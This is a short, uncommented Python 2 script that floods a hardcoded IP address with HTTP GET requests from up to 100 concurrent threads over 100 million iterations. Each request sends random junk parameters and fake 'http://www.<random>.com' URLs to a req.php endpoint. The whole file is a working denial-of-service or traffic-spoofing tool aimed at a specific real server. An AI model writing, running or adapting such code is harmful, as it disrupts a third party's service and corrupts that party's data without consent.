import socket as S
from binascii import a2b_hex as a2b, b2a_hex as b2a
import os,threading,time
from random import randint
def t(i):
    s= S.socket(S.AF_INET, S.SOCK_STREAM)
    while True:
        try: s.connect(("61.131.89.148",80));break;
        except S.error,ex: time.sleep(0.5);continue;
    s.send("GET http://61.131.89.148/req.php?str1=%s&t=%s&str2=http://www.%s.com/%s.htm HTTP/0.9\r\n\r\n"%(
        randint(10,2**31-1),randint(10,2**63-1),b2a(os.urandom(randint(2,16))),b2a(os.urandom(randint(1,20)))))
    s.settimeout(0.5)
    try: s.recv(4096)
    finally: s.close()
    if i%100==0:print i;

for i in xrange(100000000):
    if threading.activeCount()>=100: time.sleep(1.0)
    threading.Thread(target=t,args=(i,)).start()
